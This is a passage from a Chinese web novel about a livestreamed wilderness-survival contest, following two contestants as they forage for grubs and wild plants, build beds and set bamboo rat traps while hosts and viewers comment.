没多久,木香收集到了一堆葛藤包,她估摸着够两个人吃了,就收了手,然后蹲在葛藤包旁边,拿起一个,用刀将它劈开。
葛藤包两下就被劈成两半,四五只拇指粗短的,白白嫩嫩的大白虫扭动着。
木香拿下大白虫,又开始劈开第二个葛藤包,每个葛藤包里都有三到七只虫。
老帅将镜头对准木香手上的动作,他没有说话,只让观众们沉浸式欣赏“冷场姐横扫大白虫”。
当木香打开所有的葛藤包后,地上的大白虫已经有了一大堆,估摸着有五六十只。
木香脱下冲锋外套,做成袋子,将这些大白虫装了进去。
随后,她拎起今天的收获,开始往回走,她走了不同的路下山,这样能让她更快的了解这座山。
回去的路上,遇到有菌子,木香就随手捡起来,丢进袋子里。
老帅忍不住问:“冷姐,这些菌子你都认识啊?”
木香当然认识。这几种菌子如南瓜菌、铜绿菌、花脸菌很常见,她没少吃。
“能吃。”木香依旧是惜字如金,继续往下走,途中又遇到一棵拇指果,木香将袋子装满,扛着一大袋吃的下山。
等回到家时,已经是下午了。
老帅看看时间,已经一点多了。他又累又饿,但工作人员吃饭,都是轮流到赛场外的大本营吃的。
老帅坚持着没走,他要看看木香怎么吃这些虫子。
22号不在家,但家门外的空地上堆了十几根枯木头,木香很满意。
她早就想好了,如果22号好吃懒做,那么她就把这些葛根虫一个人吃光。
既然22号还算勤快,她可以分一半虫子给他。
家里地方小,木香直接把衣服里面的食物全部倒在外面的地上。
在拇指猕猴桃、菌子中间,那些白花花的,扭动着的虫子格外扎眼。
木香没急着把大白虫挑出来,她先去找了根竹子,把竹子劈开,劈成又细又长的竹签,还用刀将竹签一头削尖。
老帅又明白了:“小伙伴们,看来咱们冷场姐是打算吃烧烤了。”
【靠,还没开始我就流口水了是怎么回事?】
花开富贵带着她的快艇来了:【小溪呢?主播,快喊臣溪回来吃烧烤!】
“谢谢花开富贵的快艇,不过很抱歉,我们工作人员是不能干涉选手之间的事情。”
就在这时,钟臣溪回来了,只见他肩膀上扛着一根碗口粗的枯木回来了。
他看到蹲在家门口的木香,脸上露出喜色,将木头扔在地上,几步走近开始邀功:
“你看,这些木头是我捡来的,够用好多天了……”他低头看向木香,当目光触及到那一堆白花花的扭动翻滚的虫子时,他瞬间脸色一变,声音微颤;“这是虫子?”
12. 第四天(3)
木香没理他,继续削竹签。
钟臣溪又追问:“你要吃它们?”
见木香还不说话,他赶紧说清楚:“那你吃吧。我不吃这个,我吃别的就行了。”
这些扭动的虫子,看着有点吓人。
这次木香有了反应,她抬头:“你不吃?”
“不吃。”
“好。”木香点头,她看起来面无表情,心里却十分欢喜。22号不吃,那可太好了。这些虫子都是她一个人的了。
直播间的花开富贵急坏了:【小溪,这个时候别挑食啊!虫子可是好东西啊。】
老帅却没提醒钟臣溪,赛方规则,工作人员应该尽量避免干扰选手的状态和选择。
钟臣溪从屋里拿了一些清洗过的菌子和山药出来,中午他打算煮山药吃。
他将山药削皮,切块。而木香已经削好竹签,随后,她捉了个虫子,像是串糖葫芦一样,往竹签上一插,大白虫还在扭动,她又快速串了几个虫子。那些白虫子扭动着身躯,垂死挣扎。
一旁的钟臣溪看得龇牙咧嘴。他有点受不了,正想走远一点削山药,不料木香朝他伸出手:“给我一块山药,切薄一点。”
钟臣溪虽然纳闷,还是切了一片山药给她。
木香转头就把山药片串到竹签上,然后又串了几个虫,再加一片菌子,一片山药。
老帅这下真馋了:“小伙伴们,看到了吗?咱们冷姐不光是打野高手,还是美食家啊。瞧这烤串荤素搭配的,我都要流口水了。”
钟臣溪把切好的山药块菌子放入竹筒锅中,加上水,然后放到火塘上面煮。
木香这边也串好了,她一共串了八根串,22号不吃,这些足够让她饱餐一顿了。
想到这里,木香嘴角微扬,怕被人看到,又赶紧压下嘴角。
钟臣溪让出位置,坐到床边,木香在火塘旁边烤串,老帅蹲在门口直播。
木香一手拿两根烤串,火苗一点点将大白虫烤成焦黄色。
“有很淡的焦香的味道,看着就好吃。这算得上山珍了吧?”99号不爱说话,老帅只能跟粉丝聊。
花开富贵又给刷了个跑车:【主播,让我们家小溪也吃一点啊。】
老帅想了想,看向坐在里面的钟臣溪:“臣溪,你真不吃啊?”
钟臣溪正望着火塘发呆,听老帅这么说,他犹豫起来。
一开始看到那些扭动的大白虫,他是拒绝的。
但那些虫子被烤焦后,好像也没那么吓人,闻起来像是烤肉的味道……
钟臣溪正踌躇着说辞,木香开口,斩钉截铁:“他不吃。他刚说的。”
说了不吃就不能吃哦。
君子一言,驷马难追。
“……”钟臣溪被憋了回去。
好吧,他不吃!
老帅欲言又止,最后还是选择沉默。
当着钟臣溪和老帅的面,木香开始吃烤串。一口下去,大白虫外酥里弹,山药软糯清香,是山里面难得的美味。
钟臣溪手里端着山药菌子汤,闻着淡淡的烤肉味,心里想流泪。
见鬼,明明早上还觉得菌子汤是人间美味,现在吃着却很一般。
还是肉好吃啊。大白虫是山里的虫,它们干干净净,白白胖胖,健康又美味,怎么就不能吃呢?
可老帅在直播,钟臣溪不好意思当众打脸。
吃完四根烤串,木香又继续烤剩下的,很快烤好了,她将两根递给钟臣溪:“我吃不下,你吃不,不吃只能扔了。”
钟臣溪眼睛一亮,迅速接下烤串:“我吃!怎么能浪费食物呢!”
眼看钟臣溪也吃上了烤串,老帅终于顶不住了,他匆匆结束了直播,下山吃饭去了。
……
下午,钟臣溪出门了,木香在家。为了节约木柴,木香往用燃尽的草木灰将柴火盖住,又用石头将火塘四面和顶部都封住。这样柴火烧得慢,可以维持两三个时辰左右。
接下来,她打算给自己做个床。
现在的床是直接将木段铺在地上的,即便隔了木头和干草,寒气还是会侵入身体。
床架的做法和房子一样。家里有现成的木头竹竿,木香去附近找了一些韧性好的藤蔓回来备用。
她挑了跟碗口粗的木头,砍成四段,每段大概三尺长,用来做从做床柱。并在每根床柱中间和顶端位置砍好卡槽。
木香在地上挖了四个坑,将四根床柱埋进去,为了让床更加稳固,木香还搬来几块石头卡在床柱旁边。
固定好床柱后,木香将两根约莫七尺长的竹竿绑在四根床柱中间的卡槽上,这样一来,床架就有了基本模型,接着只需将短木段一段段铺在床架上,同时用藤蔓固定住就行了。
而床柱比床面还高出一尺多,这是木香特意预留的。以后会派上用场。
做好自己的床,木香又开始做22号的床,等她做好两架床,时候也不早了。
虽然下午没下雨,但天却依旧是阴沉沉的,木香抬头看天,乌压压的积雨云并未散去,看来还要下雨。
天好像快黑了,木香提着家里的两个大竹筒,去山泉边取水。
她刚靠近山泉那里,就听到有人在唱,那声音很熟悉:
“今天是个好日子,心想的事儿都能成~”
这歌声欢庆喜悦,木香不用猜都知道22号一准遇到了好事。
她不动声色靠近,发现22号正蹲在山泉边洗东西,那东西大概有四五个拳头拼在一起那么大,木香一眼认出,那是一种山药。
钟臣溪察觉到后面有人,扭头一看,发现是99号,立即眉开眼笑,举起手里的五叶山药开始炫耀:
“99号,我今天挖了个好东西,你知道这是什么吗?”
木香低头,静静看着他没出声,钟臣溪以为她不懂,站起身来把山药凑到她跟前:
“你不知道吧,这是五叶山药,也叫五叶薯蓣,是山药的一种,因为它五片叶子连成一片,所以叫这个名字,能吃的。”
“原来是山药。”木香配合点头,然后说;“不用洗了,埋起来,先吃之前的食物。”
钟臣溪一听,觉得有理:“好。对了,我还找到了一些刺梨。”
钟臣溪拿起衣服给木香看,里面装了不少刺梨,刺梨是一种野果,个头与红枣一般大,成熟后多是黄橙色,表面长满小刺。
木香惊讶:“你把这个放衣服里?”而且他还用衣服里子装。那这衣服里衬满是刺……
“没办法啊,不用衣服装带不回啊,这刺梨可是好东西,富含维生素C,好不容易发现了,我当然要带回来啊。”
木香哦了一声,蹲下来取水,山泉很小,取水需要用小一点的竹筒接水将大竹筒装满。
钟臣溪也蹲下来帮忙,两人打了水就往回走,这时天已经有些暗了。
一回家,钟臣溪按照99号之前做的,依葫芦画瓢,在屋外石壁I边挖了个坑,把五叶山药埋了进去。又去之前99号埋山药的地方拿了两截山药出来。
木香把火塘边的石头搬开,里面的柴火快烧完了,还剩不少炭,木香将炭扒拉出来一些,放在旁边,然后往里面添了几根柴。
钟臣溪走进来,发现家里的床升级了。从贴地床变成高架床,眼见着生活环境一点点变好,钟臣溪心里有一种难以说明的欢喜。
他迫不及待的跑到自己床边坐下:“这床真不错。99号,谢谢。”
木香没吭声,继续烧火。
不过,钟臣溪有点疑惑,为什么木床的四根柱子会高出那么一大截。就像是蚊帐架一样,但他们根本没有蚊帐啊。
“这四根柱子是不是太高了?会不会有点碍事啊?要不要砍掉?”
“我留着有用。”
钟臣溪疑惑:“这能有什么用,我们也没蚊帐啊。”
木香不耐烦,又怕他真把四根柱子砍了,只好解释:“等天气冷了我要把床封起来。做成一个床柜。”
“……”钟臣溪一愣,他脑海里浮现出那个场景,语气犹豫起来:”会不会不太吉利啊?”那不就是一个棺材吗?
木香懒得搭理他:“你来煮山药。”
晚餐是山药菌子汤,竹筒锅里冒出热气,钟臣溪往里面加入山药块和菌子。不多时,锅里的汤水开始翻滚,白嫩的山药和鲜滑的菌子勾动钟臣溪肚子里的馋虫。
山药汤很美味,要是
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再配上两串大白虫烤串,人生就完美了。
想到这里,他扭头去看木香:“99号,明天我跟你一起上山,我们多抓一些虫子回来。”
木香坐在床上吃刺梨,她一手拿着刺梨,一手拿着刀,她动作熟练,轻巧的就削掉了刺梨上的刺。
听到钟臣溪这么说,她抬眼看向他,平静的语气带了一丝不易察觉的戏谑:“你不怕?”
“怕什么?开玩笑,虫子而已,有什么可怕的。别说虫子了,山里的老鼠、蛇,我都不怕!”
木香不置可否,她收回目光,继续吃刺梨。
钟臣溪憋了口气,他下定决心,以后一定要证明自己胆子很大!
吃过晚饭,天已经黑透了,正如木香所料,外面有开始下雨。这场雨比早上的雨更大,风也更大。
他们没做门,风吹进来,屋里即便有火,也是凉飕飕的。
木香立即把四件上衣全穿上,然后坐在火塘边继续吃刺梨,吃腻了她就把山药、拇指果串起来烤着吃。
一旁的钟臣溪就没这么享受了,他坐的位置离门口近,被风一吹连打了三个喷嚏,于是也赶紧去找衣服穿。
他把卫衣穿上后,觉得不够,又把冲锋外套穿上,这个时候,木香瞄了他一眼。
钟臣溪回看了过去,木香又迅速收回目光。
钟臣溪有点疑惑。她刚才的目光,有一点怪怪的。
两人烤了一会儿火,木香让钟臣溪先睡:“你先睡,下半夜你看火。”
钟臣溪接受了安排,他和衣躺下,今天的床睡起来果然不一样,在火光的映照下,钟臣溪感受到了久违的温暖。
他翻了个身,让自己面朝火塘,然后闭上双眼。
钟臣溪正酝酿着睡意,忽然觉得身上有点刺刺挠挠的。
开始他没在意,只是蹭了几下,但很快钟臣溪就发现不对劲了,越蹭是越扎,就好像有人往他衣服里塞了一百只刺猬一样。
钟臣溪熬不住了,一个打挺坐了起来,他脱下衣服,凑近火堆一看,果然衣服里子埋着许多刺。
想要把这些刺挑出来,得花不少时间。
看来一时半会儿是别想睡了,他只好对木香说:“99号,还是你先睡吧。”
木香点头,躺在床上就闭眼休息。外面在刮风又下雨,屋虽然有些透风,但有火在,还不算太冷。
木香慢慢陷入了沉睡中。
钟臣溪就着火光,将外套里绒的刺一根根挑了出来,期间还摸黑出门方便了一下。
这样大概过了三四个小时,他蹲在火塘前,被火烤得浑身暖暖的,困意不断卷来,钟臣溪忍不住打起了哈欠,他抱着衣服,正准备小眯一会儿,忽然余光看到一个东西快速从99号的床底窜过!
“什么东西!”钟臣溪吓得大叫了一声,木香本来就睡得浅,他这么一叫,木香立马睁开眼。
她迅速坐起身,看向钟臣溪,眉头微皱,目光犀利:“你叫什么?”
“……刚才有个东西你床底跑过,跑得很快……约莫这么大……”钟臣溪用手比划了一下。
木香面无表情:“……所以你被吓得大叫?”
钟臣溪差点跳脚:“你别污蔑我啊。我没有别吓到,也没有大叫啊,我就是好奇那是什么,然后小小的喊了一声。”
木香的眼神透露出一点嘲讽:“那是山耗子,可以吃。”
“啊?是老鼠吗?”这让钟臣溪又震惊又不可思议:“那能吃?”
木香懒得跟他废话:“你不吃我吃。你去睡吧,我看火。”
她估摸着也到了后半夜,既然被钟臣溪吵醒了,也就不睡了。
钟臣溪确实熬不住了,他穿好衣服,倒头就睡。
木香添了几根柴火后,这些可以烧一两个时辰,就躺下闭目养神。
也不知过了多久,木香忽然察觉到屋里有动静,她睁开眼猛地看去,见一只山耗子在屋中间飞快跑过,又猛地钻到22号床底。
木香盯着22号床底看了几眼,嘴角慢慢勾起。
很好,这可是你自己送上门的。
梦中的钟臣溪打了个寒颤。
就好像是被什么可怕的野兽盯上一样。
13. 第五天(1)
早上雨停了。
木香往兜里装了一些野果,看样子是准备出门。
钟臣溪急忙叫住她:“等等,我跟你一起上山。”这几天,他和99号合作得还不错。
99号主要负责外出打野,而他呢,在家生火捡柴。大家相互配合,相安无事。
但钟臣溪想要证明自己。
他不但会居家生火,外出打野也是一把好手。
显然木香并不认同:“我自己去就行。”
“人多好办事,咱们一起出去,多找点吃的回来。火你不用担心,我多放点柴,把灶封好,问题不大。”
木香琢磨一会儿,同意了。她昨天抓葛根虫回来的路上看到好几株山药,挖起来挺费力的,正好带上这个白胖子去挖。
“行。那快点。你把火弄一下,我先去洗漱。”
木香先去找了隐蔽的地方净手,昨天她被那个主播跟了半天,想要做什么都不方便。
所以她今天特地起了个早,就是怕被主播跟上。
解决了三急之后木香去泉水边洗漱,等她折返回来时,钟臣溪已经把火塘四周封好了。他不仅用石头将火塘围了个结实,还在石缝周边涂了一层泥巴,尽量减少空气进入火塘之中。
看到这,木香放了心,她让22号用灰掩盖柴火,又用石头盖住顶,估摸着可以维持三个时辰以上。
两人带上东西,一起出了门。
木香对附近的山林已经熟悉了,她自然而然地走在前面,钟臣溪则跟在她身后。
起初钟臣溪跟得毫不费力,还能时不时在地上捡几朵蘑菇,但随着周围灌木越来越多,脚下越来越陡,他不得打起十二分精神,手脚并用跟在木香身后。
终于,木香停下了脚步。她笔直站着,气定神闲,而钟臣溪一屁股坐在地上,气喘吁吁。
“……”钟臣溪不得不服这个女人。
“这是山药藤,你来挖。那边还有两根山药藤。”
“哦。”钟臣溪一秒应下,又立即反应过来:“我一个人挖?那你呢?”
“我去附近看看,你跟不上,就在这里挖山药。”木香这话听着像是骂人,但钟臣溪没证据。
“……”他只能瞪着眼看着99号扭身往林子里深处走去。
“谁说挖山药不是技术活呢?我还专门做了挖山药的工具呢。”钟臣溪昨天还专门制作了一个挖土的木铲、木锥,有了这些挖地里的东西就方便多了。
说干就干,钟臣溪开始沿着山药藤找到山药根部,拿起木锥开挖!
丢掉跟班的木香走在山林间,像是鱼入大海。她走走停停,这看看那看看。
忽然,木香停住脚步,蹲在地上仔细观察。
地上有一些地方的草、泥有被踩踏过的痕迹,但不明显,这显然是一条兽道,不过看兽道的宽度,这是一种小型动物,应该是山耗子。
木香记下周围环境,继续往前探索。约莫一炷香后,她发现了几株野百合,木香停下脚步,开始挖百合。
百合根部的种球不深,很好挖,没多久木香就挖到了几颗百合种球。这些百合种球是白色的,比鹅蛋大一些。煮着吃软软糯糯,口感不错。
木香抬头望天,估摸着时间不算早了,就往回走。
等木香找到22号的时候,发现原地只有一个大坑,而钟臣溪不见踪影,也不知22号是自己回去了,还是往山里去了。
木香正犹豫着要不要回去,不远处传来窸窸窣窣的声音,木香立即警醒起来,她一手握紧柴刀,目光紧紧盯着那个方向。
不过很快,木香看到了一个穿着红色衣服的人影,正是22号。
钟臣溪看到木香,迫不急的向她显摆:“99号,看我找到了什么!”
22号一手提着衣服,一手握着一束枝丫,几步跑到她跟前,一脸兴奋:“瞧,我又找到了好吃的。”
木香盯着他手里的东西,目光微讶。
那些枝丫上长了一些黄豆大小的果子,它们外观是红色的,晶莹剔透,十分诱人。
但,如果她没记错,这应该是白英,微毒,入药可清热解毒,但味苦辣,不能生食。
“你说这是好吃的?”木香不动声色反问道。
钟臣溪点头,他面露得意:”你不认识吗?这是荚蒾,酸酸甜甜,很好吃。”
‘……是吗?’木香轻轻挑眉:“你没认错吧?”
木香的质疑让钟臣溪有点恼火:“我当然没搞错,在上山之前,我可是看了好几本野生植物的书!不信,我吃给你看!”
“……行,那你吃吧。”木香点头,这东西微毒,吃一点问题不大。这白胖子既然想吃,就吃呗。
钟臣溪于是摘下好几粒小红果子,往嘴里一丢,然后嚼吧嚼吧,一秒过后,他脸色一僵,然后赶紧将嘴里的东西全部吐了出来!
这什么东西啊,又苦又涩的,好难吃!
木香嘴角扬起,语气平静道:“这是白英,微毒。山里许多东西长得很像,如果你只会纸上谈兵,最好别轻易尝试。”
“……”钟臣溪瞬间耷拉了。
“午时已过,回去吧。”他们已经出来两个多时辰了,得回去添柴了。
下山的时候,木香又换了一条新路。发现可以吃的东西,她都会默默记在心里,等下次来取。
钟臣溪跟在她身后,整个人闷闷的。为了参加这次比赛,他提前两个多月准备,另外他有不少户外经验,所以对自己充满信息。
他虽然在城市里出生长大,但有了这些知识储备,在山里找到食物并不难。
但事实证明,他高估了自己,也小看了大自然。
钟臣溪抬眼,看到了木香的身影,他对这个女人越发佩服。
“□□,你是在山里长大的吗?”
“……”木香脚步一
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顿,声音冰冷:“你叫我什么?”
“□□啊,网友给你取的名字。你不肯告诉我你叫什么,可叫你99号又显得太生硬,所以我就叫你□□啊。”
“……”木香忍了忍,又问:“□□是什么意思?”
钟臣溪有点意外,他没有多问,只是解释;“因为9和英语里Q的小写字母很相似,所以大家才叫你□□,而且Q这个字母的发音和英语里的CUTE相似,是可爱的意思。所以大家叫你□□,也是夸你可爱的意思。”
“……”木香脚步又是一顿,然后她僵着脸,加快速度往前走。
可爱吗?
她哪里可爱了?
从前她和家人住在山里,山脚下村民们都不喜欢她,叫她野丫头。
后来意外来到这里,木南说她是像是古代的女侠,很冷酷。
总之,她和可爱应该不沾边吧?
为什么网络里面的人会说她可爱呢?
“□□你走慢点啊,我跟不上,我背着六七斤山药呢!”钟臣溪一边喊一边追,一不小心差点跌了个跟头。
走在前面的木香又放慢了速度。
两人回到家的时候,家里多了一个不速之客——老帅。
老帅昨天直播99号打野吃烤串后,网友们对这个组合念念不忘。
老帅一大早想来看他们两个组合,但却扑了个空,中间大美也来了一次,还是没见到人。
中午吃过饭,老帅不死心,又上来一趟,这次他运气好,正好碰到99号和22号组合打野回来。
他立即迎了上去:“小伙伴们,来得早不如来得巧啊。冷姐和臣溪带着他们的战利品回来了,让我们一起看看他们今天带回来了什么。”
钟臣溪把衣服里的东西倒出来,有五六斤的山药,几颗百合球,还有一些菌子。
“好多啊,咱们Q2组合的食物储备是越来越多了,很有实力啊!臣溪,今天你们去那里打野了?”
“我和□□一起去了北边山上……”
见老帅缠着钟臣溪,木香赶紧拿了几根柴进屋,把火烧起来。
钟臣溪一边和老帅聊天,手里也没闲着,他先把新挖的山药埋了储存起来,又拿出一些先前埋的土茯苓,还有菌子去清洗。
很快,两人的午餐就煮上了。
老帅跟钟臣溪聊了一会儿,又想往木香跟前凑,木香见状,连忙起身往林子里走。
老帅还想跟,却被钟臣溪喊住:“你别跟她了。”
“不能跟吗?”老帅有点惋惜,他和网友们一样,对木香很好奇。
钟臣溪微微压低声:“人有三急,你这样跟,她多尴尬啊。”
“啊,也是。都怪我,没考虑到。”
“……”还没走远的木香脸都黑了。
她握紧拳头,心里叹气:算了算了,随便他们怎么说,她的目的只有一个,拿到五十万奖金!
14. 第五天(2)
等老帅走了,木香才从林子里回来,还带回来一些野葱。她刚才在外面已经把野葱洗干净,正好直接丢进锅里煮。
土茯苓味淡,带了一丝甜,不如山药口感好。钟臣溪喝着汤,心里却怀念起昨天的大白虫烤串。
他忍不住问;“□□,要是明天不下雨,我们去抓一些大白虫回来吧?”
“找葛根虫要看运气。”
吃过午饭,木香小憩了一下,钟臣溪则是出去砍竹子了。来参赛前,他专门去学过一些荒野求生需要用到的知识,其中就包括编竹筐。
现在他们物资没有那么紧迫了,他打算编几个竹筐,这样出门打野装东西就不需要用衣服了,免得又搞得一身刺。
将竹子带回后,钟臣溪先将竹筒劈开成大小一致的竹条。
木香小睡了一会儿,她走出门看到22号坐在石头上,只见他一手捏着一根竹条,一手拿着刀,正在破蔑分青黄。虽然动作不太熟练,但还是成功的将竹条青黄分开。
竹条带青皮的一面就是蔑条,韧性好可以用来做竹编。
他身边已经堆了数条已经分好的蔑条。
木香有些诧异,这些天她多少对白胖子有些了解。白胖子出身在大城市,家境富裕,所以手机里的人给他取了个外号“小沪爷”。她估摸着这意思就是富家公子哥。
而竹编这个活,据她了解,现在很少人会做了,但没想到,小沪爷居然会。
钟臣溪抬头,看到了木香惊讶又略带赞许的目光,这让上午吃了毒果的钟臣溪瞬间找回了自信。
于是他又洋洋得意起来;“我打算编几个竹筐,出门带着方便很多,而且家里的那些吃也有东西装了。我这手艺可是专门找老师傅学的,厉害吧?”
“……”木香扭头不理他,提着砍刀就往外走。
钟臣溪冲着她背景做了个鬼脸。
没多久,木香回来了,她带回六七根竹竿。
钟臣溪纳闷:“你也要编竹筐?”
木香没理他,只是默默干活。木香打算做一些扑鼠机关。她会制作很多种捕猎陷阱机关。
但眼下没有绳子,她只能做借助竹筒弹力的机关。
木香带回的这些竹竿约莫成人手臂粗。她将这四五条竹竿都砍成三尺的长度。
随后,她将竹竿一头劈开,大约开到竹竿中间位置。而另一头保持完整。
接着木香开始削小木条。制作这种机关需要三根木条互相支撑,她找到三根拇指粗的树枝,然后在上面削出一些卡槽。
钟臣溪被木香的动作吸引,他停下手里的动作,凑近木香:“你这是要干什么?”
“跟你没关系。”木香声音淡淡的。
“□□,你这样不太友好啊。我们是组合,我做好的竹筐会给你用,你做的东西也应该和我分享啊,怎么跟我没关系呢?”
“你说过,你不吃老鼠。”
“……”这下钟臣溪明白了,木香这是在做捕鼠器。其实在比赛之前,钟臣溪就决定放弃了捕猎肉食。
虽然赛方会在比赛场地投放一些野猪二代、野兔二代、野鸡二代,但他知道想抓住这些很难,所以他一开始的计划就是增重二十斤,然后吃草进入前二十。
但昨天外焦里嫩的大白虫,让他回味无穷,那滋味,比草香多了!
钟臣溪开始自己打脸:“我说不吃了吗?没有啊,你能吃,我当然也能吃啊!”
“……”
“□□,你教我怎么做陷阱,我来做,你去歇着。”钟臣溪笑嘻嘻的,一脸殷勤。
他那一口大白牙在木香面前晃动,木香看着碍眼极了。
她瞪了钟臣溪一眼: “做好你自己的事。”
钟臣溪一愣,然后灰溜溜的回到自己的位置,继续分竹篾。
不多时,木香就削好了一套棍子。
她将竹竿放在地上,用石头将竹竿一头压住,然后撑开分口的那头,将三根小棍依次放入竹竿中,将竹竿撑开。
钟臣溪憋不住又过来看:“这个我知道,是三木4字陷阱,也可以放在石块底下用。”
三根小木棍互相借力呈4字形将竹竿开口撑开,当老鼠碰触到其中的触发木棍时,三根木棍会立即垮塌,竹竿开口因惯性迅速闭合,将猎物夹住。
木香放好三根木棍,正准备试一下,只见22号伸手过去:“真管用吗?”
他边说边想把自己的手指伸过去,但又犹豫不决。
木香眼睛一眯,然后往起身踢了钟臣溪屁股一脚。
钟臣溪身体向前,手指不由自主的靠近那根触发的木棍,他瞪大眼,本能大喊:“救我!”
木香伸手,拉住钟臣溪的衣领,钟臣溪吓得一屁股坐在地上。
他气得扭头去瞪木香,木香憋住笑,面无表情蹲下来,捡起一根树枝,轻轻碰触了一下机关的触发木棍,下一瞬,伴随着砰的一声,三根小棍飞出,竹竿迅速闭合!
钟臣溪立即不气了,他几乎是欢呼起来:“真行啊!那我们可以吃上老鼠了?”
“不是老鼠,是山耗子。”木香纠正。
她又吩咐:“你把这个机关放到床底,角落放一点野果山药。”
“好,我这就去。”
钟臣溪去布置陷阱,木香开始削第二套机关需要的木棍。
天黑之前,木香准备好了五套陷阱,两套放在床底下,另外的先放在屋外。
管他有枣没枣,打一杆子再说。
很快,木香就布置好陷阱,她回到屋里,钟臣溪正在煮山药百合汤。
“外面我放了三个捕鼠器,你出门的话当心点。”木香提醒钟臣溪。
钟臣溪刚准备问具体位置,忽然听到外面一声惨叫。
“啊!我的脚!”
那是主播大美的声音,木香眉头一跳:山耗子没逮住,却夹住了个缠人精。
这下麻烦了,得罪人了。
木香怕挨骂,她用脚尖踢了一下钟臣溪臀部;“你出去看看。”
钟臣溪反问;“我去?我在煮饭呢。”
“叫你去你就去。”木香声音略沉,钟臣溪有点不满,他瘪了嘴,但还是起身走了出去。
外头有两个人,巡查员打着灯,大美蹲在地上掰开脚上的竹竿。
“不好意思,夹到你了吗?这是我们放的捕鼠器,没想到天黑了你们还会过来。”
“没事儿,不过这东西还真有点威力,我穿着鞋子都觉得脚趾疼。”
大美边说边将摄像头对准捕鼠器:“小伙伴们,就是这东西,一根被破开一半的竹竿,然后好像是用小木棍撑起了,我刚才不小心碰到了机关,脚被夹住了,我感觉很实用啊,如果我的脚是老鼠,Q2组合今晚就加餐了!”
大美展示了一下捕鼠器,正准备向钟臣溪走近,她抬脚正要落下,忽然想到了什么,谨慎发问:“臣溪,你家附近还有别的机关吗?”
“有的。”
“在哪?”
“这个我不知道啊,这些事99号做的,得问问99号。”钟臣溪回头大喊;“□□,你出来一下,哪里还有捕鼠器啊。”
“西墙下面有一个,树下有一个。”木香的声音从屋里传来。
“好的好的,谢谢我们的冷姐啊。Q2组合是真的很有实力。昨天吃上葛根虫,今天就做好了捕鼠器。日子是一天天的好起来了。”
【咱们冷场姐果然是实力派,才五天就开始搞蛋白质了!】
【Q2组合必进前二十!】
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【话不要说太早,搞蛋白质的人多了,山谷下的几个人前两天就吃上河螺螃蟹啊。】
目前还剩七十多名选手,Q2组合人气比较高。
冷场姐虽然高冷,但实力很强。而22号因为富二代的身份,再加上有一个喜欢刷飞机跑车的富婆妈,也备受关注。
大美靠近门口,往里面一看,只见木香正蹲在火塘边煮饭。她连忙凑近:“冷姐,做晚饭呢?闻着好香啊,你们晚上吃什么啊?”
木香沉默片刻,看向被挤在旁边的钟臣溪:“这是22号煮的,里面有什么他比我清楚,你问他吧。”
木香说完,起身往后走几步,默默坐在了自己床上,她双手插兜,低头看着自己脚,一副事不关己的模样。
“……”又冷场了啊。
对于这样的结局大美一点不意外。
既然冷场姐婉拒聊天,大美只好跟22号聊了起来。22号虽然是公子哥,但性格随和热情,和他聊天有来有回很舒服。
两人聊着,木香见汤煮得差不多了,走到火塘边,将竹锅端起,放在火塘旁边石头上,蹲在地上就开吃。
大美见状,赶紧将镜头对上木香:“冷姐,味道怎么样啊?”
“……”木香正夹着一块山药要吃,见大美这么问,她将筷子递到大美嘴边:
“给。”
“……”大美一愣。
“吃了你就知道什么味道了。”
“我不能吃。”
闻言,木香收回筷子:“那我吃了。”她把迅速把山药放进嘴里,嚼吧嚼吧起来。这样一来,她就没功夫陪人说话了。
大美被逗得哭笑不得。看来,99号是真的不想跟人聊天啊。
幸好还有22号,他一边吃晚餐,一边为大家介绍晚餐的味道。
“好吃,山药甜甜糯糯的,菌子软软滑滑的。”
“那跟大白虫相比呢?”
钟臣溪瘪嘴:“那没法比。”
“跟着咱冷姐有肉吃是吧?”
钟臣溪嘿嘿笑。
直播间里,花开富贵带着她的跑车如约而至:
【花开富贵送出一辆跑车。】
花开富贵:【小溪啊,你以后就跟着99号混,跟着狗吃屎,跟着狼吃肉,你跟着她混,有肉吃!】
【笑死,99号选手的实力获得富婆认定!】
大美看着直播间,差点笑出来。她又问:“臣溪,据我了解,你来参赛家里人都不知道,我们也很好奇,你为什么要来参加比赛?是为了奖金吗?”
钟臣溪笑着摇头:“我的目标是前二十。”进入前二十的选手只有参与奖,只有一万块钱。
这点钱,都不够钟臣溪富婆老妈直播间送礼物的。
“其实我来参赛,是为了来吃苦。”
大美惊讶:“听着有点像是没苦硬吃?”
“可以这么说,我只想证明,我能吃苦,也有毅力做成一件事。”钟臣溪看向镜头,神色郑重:“爷爷,我会做到的。”
“我看到了22号选手的决心,那冷姐呢,你来参赛的目的是什么?”
大美不放过任何一个和冷场姐搭话的机会。
木香喝完了最后一口汤,这才不慌不忙道:“钱。”
“你是为了奖金?那么,你的目标是第几名?”按照赛方规则,前二十参与奖金,前十有十强奖金,前三奖金丰厚,分别是五十万、二十万、十万。
木香放下竹锅,她并不抬头,语气淡然而笃定:“五十万。”
大美楞了一下:“这么说,你的目标是冠军!”
“恩。”木香应了一声,她抬眼看向大美,淡然的目光里多了几分必得的气势:“自然,我既然来了,就不能白来。”
15. 第六天
【哇,好飒!】
【大话谁不会说?有好几个组合都是经验丰富的老玩家参赛,她怎么比得过别人?】
【虽然冷场姐很强,但Q2组合整体一般。前二十没问题,但冠军……不可能。】
这天晚上,钟臣溪守前半夜。
他坐在火塘前,时不时偷偷去看床底下的捕鼠器。他按照□□的要求,在屋子里各个角落放了许多野果野菜,就等着山老鼠上钩。
然而好久过去了,钟臣溪望穿秋水,没见一根老鼠毛。
见鬼了,难不成那些山耗子知道今晚有陷阱,都不出来了。
后半夜,木香替换了钟臣溪守夜,她没有蹲在火塘边,只是往火塘里丢了几根粗柴,又躺回床上闭目养神。
反而是钟臣溪睡不着,时不时爬起来往床底看。
木香虽然闭着眼,但耳力敏锐,对钟臣溪的动静了如指掌。在钟臣溪第三次爬起来时,她终于忍不可忍:
“够了。山耗子都被你吓跑了。”
“……”钟臣溪只得缩头缩脑的躺回去。一天忙碌,加上上半夜守夜,他身体早就累了,不一会儿就睡着了。
木香又起来往火塘里加了几根粗柴,再次躺了会去。她睡得很浅。
半睡半醒之间木香听到“啪”的一声,随后两声吱吱,她立即翻身起来,往床下一看,一只山耗子飞快从墙角的缝隙窜了出去。
木香并不失望,这里有火有人,山耗子会很谨慎,不容易被抓住。她在家里附近设下机关,也只是碰个运气。
第六天。
吃过早饭,木香打算上山了。她打算去山上放置那些机关。
钟臣溪昨晚没睡好,但还是想和木香一起去,被木香拒绝了。
“不用,你留在家,把门做好,有时间把房子加固一下。”木香开始分配任务。前晚下雨后,这两天的温度已经降低了一些。
